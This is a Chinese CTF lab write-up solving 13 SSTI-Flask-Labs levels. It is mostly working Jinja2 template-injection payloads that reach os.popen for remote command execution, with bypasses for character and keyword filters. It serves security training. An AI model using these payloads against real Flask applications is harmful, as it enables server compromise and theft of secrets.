SSTI-Flask-Labs 通关记录
2024-12-23|CTF

LEVEL 1

使用的是 NSSCTF 的在线环境

输入框可以执行模版语句。但这里用不了 __import__,需要找到一个有 __import__ 函数的类,调用它导入 os

{{''.__class__.__base__.__subclasses__()}}

这样可以看到 object 的所有子类

假如找到了这么一个类,像下面这样调用 __init__ 实例化,获取全局变量字典中的 __import__ 传参 os 调用,页面回显应该是 os 模块的打印结果,而不是 No this level 错误提示,然后可以执行后续操作

{{''.__class__.__base__.__subclasses__()[0].__init__.__globals__['__import__']('os')}}

有内容回显,可以用 bp 的 intruder 找到这样一个类。Positions 中 code= 后面写刚刚的代码,在索引处添加占位符。Payload type 选 Numbers,范围 0 - 500

alt text

可以看到 80 81 82 83 索引的类应该是可以执行的

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen('env').read()}}

成功 RCE

LEVEL 2

这关过滤了 {{,可以用 {% %} 语法: {%print ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').popen('env').read()%}

LEVEL 3

页面没有内容回显,可以将命令执行结果写入到文件

网站目录应该是 /app

文件位置放到 /app/static 下,即静态文件目录,以便之后能够访问得到

{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__import__']('os').system('env > /app/static/1.txt')}}

访问 /static/1.txt 即可看到命令执行结果

LEVEL 4

过滤了中括号,可以用 __getitem()__ 获取列表或字典元素

Python 中列表中括号访问指定下标元素实际上是调用了列表的 __getitem()__ 方法,字典也实现了这个魔术方法

{{''.__class__.__base__.__subclasses__().__getitem__(80).__init__.__globals__.__getitem__('__import__')('os').popen('env').read()}}

LEVEL 5

过滤了单引号和双引号

先把最前面的空字符换成空列表: [].__class__.__base__ 也是 object

可以让这些字符串参数从请求中获取

flask 中有一个 request 对象,有 args (查询参数), form (表单数据), values (查询参数 + 表单参数) 等属性 request 对象始终指代当前处理的 HTTP 请求

输入内容

{{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.a1](request.args.a2).popen(request.args.a2).read()}}

使用 bp 抓包,添加查询参数

?a1=__import__&a2=os&a3=env

成功执行

LEVEL 6

过滤了 _,可以采用十六进制绕过,结合 attr()| 一层一层访问

attr(obj, name) 是一个 Jinja2 的内置函数,用于从对象 obj 中动态访问属性或方法,属性名通过 name 提供

中括号访问元素时前面一大串要加括号,不然出问题

{{((''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')())[80]|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f'))['\x5f\x5fimport\x5f\x5f']('os').popen('env').read()}}

LEVEL 7

过滤了 .

把上一关的套过来,把后面的点也改成 管道符 + attr() 的形式

{{((''|attr('__class__')|attr('__base__')|attr('__subclasses__')())[80]|attr('__init__')|attr('__globals__'))['__import__']('os')|attr('popen')('env')|attr('read')()}}

LEVEL 8

过滤了一堆东西 bl["class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"]

用中括号访问属性,然后把会被过滤的字符串其中的某个字符改成16进制形式

a => 61 n=>6e

{{''['__cl\x61ss__']['__b\x61se__']['__subcl\x61sses__']()[80]['__i\x6eit__']['__glob\x61ls__']['__import__']('os')['pope\x6e']('env')['read']()}}

LEVEL 9

过滤了数字,没法直接用下标访问指定的类,不过可以用 for 遍历到它

先去第一关看看之前反复使用的那个类的名称

{{''.__class__.__base__.__subclasses__()[80].__name__}}

结果: _ModuleLock

然后回来执行语句

{% for x in ''.__class__.__base__.__subclasses__() %}
  {% if x.__name__ == '_ModuleLock' %}
    {{x.__init__.__globals__.__import__('os').popen('env').read()}}
  {% endif %}
{% endfor %}

LEVEL 10

这关是要查看到 config,它是 Flask app 对象的一个属性,而 app 实例可以在 flask app 的上下文中通过 current_app 访问

因此从 url_for 访问它的全局作用域,获取应用实例并获取 config

{{url_for.__globals__['current_app'].config}}

LEVEL 11

这关过滤了 ' " + request . [ ]

中括号用不了,字符串可能有点操作空间

先把第七关的 payload 搬过来,把中括号改成 __getitem__

{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(80)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__import__')('os')|attr('popen')('env')|attr('read')()}}

可以使用 set 设置变量,定义字典,键和值不需要加引号,使用管道符接 join 得到键字符串

{% set c=dict(__class__=wtf)|join %}
{% set b=dict(__base__=wtf)|join %}
{% set s=dict(__subclasses__=wtf)|join %}
{% set gi=dict(__getitem__=wtf)|join %}
{% set init=dict(__init__=wtf)|join %}
{% set gl=dict(__globals__=wtf)|join %}
{% set im=dict(__import__=wtf)|join %}
{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}

{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(80)|attr(init)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}

LEVEL 12

过滤了 _ . 0-9 \ ' " [ ]

下划线得从别的地方搬过来

在第一关执行 {{(config|string).index('_')}},得知 config 对象转成字符串后最近的下划线索引为 74,字符串取元素需要用 __getitem__,此时没有下划线可用,于是把字符串转成列表使用 pop

然后用 join 拼接出来这些属性名

数字可以用 count 弄出来

{% set eighty=dict(aaaaabbbbbcccccdddddaaaaabbbbbcccccdddddaaaaabbbbbcccccdddddaaaaabbbbbcccccddddd=wtf)|join|count %}
{% set six=dict(aaaaaa=wtf)|join|count %}
{% set sf=eighty-six %}

{% set p = dict(pop=wtf)|join %}
{% set underline=config|string|list|attr(p)(sf) %}

{% set c=(underline,underline,dict(class=wtf)|join,underline,underline)|join%}
{% set b=(underline,underline,dict(base=wtf)|join,underline,underline)|join%}
{% set s=(underline,underline,dict(subclasses=wtf)|join,underline,underline)|join%}
{% set gi=(underline,underline,dict(getitem=wtf)|join,underline,underline)|join%}
{% set init=(underline,underline,dict(init=wtf)|join,underline,underline)|join%}
{% set gl=(underline,underline,dict(globals=wtf)|join,underline,underline)|join%}
{% set im=(underline,underline,dict(import=wtf)|join,underline,underline)|join%}

{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}

{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(eighty)|attr(init)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}

成功执行

LEVEL 13

过滤了 _ . \ ' " request + class init arg config app self [ ]

把前两关的 payload 组合一下,然后把被过滤的关键字拆开拼接

config 改成 jinja2 全局函数 lipsum

{% set p = dict(pop=wtf)|join %}
{% set underline=lipsum|string|list|attr(p)(18) %}

{% set c=(underline,underline,dict(cl=wtf)|join,dict(ass=wtf)|join,underline,underline)|join%}
{% set b=(underline,underline,dict(base=wtf)|join,underline,underline)|join%}
{% set s=(underline,underline,dict(subcl=wtf)|join,dict(asses=wtf)|join,underline,underline)|join%}
{% set gi=(underline,underline,dict(getitem=wtf)|join,underline,underline)|join%}
{% set in=(underline,underline,dict(in=wtf)|join,dict(it=wtf)|join,underline,underline)|join%}
{% set gl=(underline,underline,dict(globals=wtf)|join,underline,underline)|join%}
{% set im=(underline,underline,dict(import=wtf)|join,underline,underline)|join%}

{% set o=dict(os=wtf)|join %}
{% set p=dict(popen=wtf)|join %}
{% set e=dict(env=wtf)|join %}
{% set r=dict(read=wtf)|join %}

{{c|attr(c)|attr(b)|attr(s)()|attr(gi)(80)|attr(in)|attr(gl)|attr(gi)(im)(o)|attr(p)(e)|attr(r)()}}